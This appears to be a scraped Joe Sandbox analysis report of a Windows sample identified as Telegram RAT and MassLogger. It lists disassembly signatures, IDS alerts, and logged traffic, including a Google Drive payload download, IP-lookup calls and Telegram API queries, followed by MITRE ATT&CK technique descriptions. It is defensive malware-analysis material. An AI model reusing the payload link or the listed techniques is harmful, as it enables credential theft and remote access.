Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then push 00000000h	5_2_37B1BDF0
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B116A8h	5_2_37B11400
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B11250h	5_2_37B10FA8
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B16A68h	5_2_37B167C0
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B161B8h	5_2_37B15F10
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B14218h	5_2_37B13F70
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B13968h	5_2_37B136C0
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B130B8h	5_2_37B12E10
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B15908h	5_2_37B15660
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B15058h	5_2_37B14DB0
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B12808h	5_2_37B12560
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B11F58h	5_2_37B11CB0
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B17770h	5_2_37B174C8
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B16EC0h	5_2_37B16C18
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B14670h	5_2_37B143C8
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B13DC0h	5_2_37B13B18
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B16610h	5_2_37B16368
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	5_2_37B17B4F
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B15D60h	5_2_37B15AB8
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B154B0h	5_2_37B15208
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B13510h	5_2_37B13268
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B12C60h	5_2_37B129B8
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B123B0h	5_2_37B12108
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B14ACAh	5_2_37B14820
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B17318h	5_2_37B17070
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B11B00h	5_2_37B11858
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then push 00000000h	5_2_3818E8A8
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then push 00000000h	5_2_3818F3F6
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	5_2_3818F6B8

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49745 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49711 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49708 -> 142.250.186.78:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1jNXENZ8HhH2flLMcD7n_1A0wmK9-bvgf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1jNXENZ8HhH2flLMcD7n_1A0wmK9-bvgf&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 4UQ5wnI389.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Iw\14-scaled.jpg

C:\Users\user\AppData\Local\Iw\Hjforrdere.Pyr

C:\Users\user\AppData\Local\Iw\Kbmandsskole.str

C:\Users\user\AppData\Local\Iw\Sensuousnesses.opk

C:\Users\user\AppData\Local\Iw\Uncomeliness.Lba

C:\Users\user\AppData\Local\Iw\prepares.pli

C:\Users\user\AppData\Local\Temp\nsm4D9F.tmp

C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp\System.dll

Static File Info

General

File Icon

Windows Analysis Report
4UQ5wnI389.exe

Function 004034A5 Relevance: 80.9, APIs: 32, Strings: 14, Instructions: 410
stringfilecomCOMMON

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00405AFA Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Function 00403AD8 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215
stringregistryCOMMON

Function 00402F30 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 203
memoryCOMMON

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Function 0040176F Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145
stringtimeCOMMON

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 70141777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Function 00405F0D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63
registryCOMMON

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 39
COMMON

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre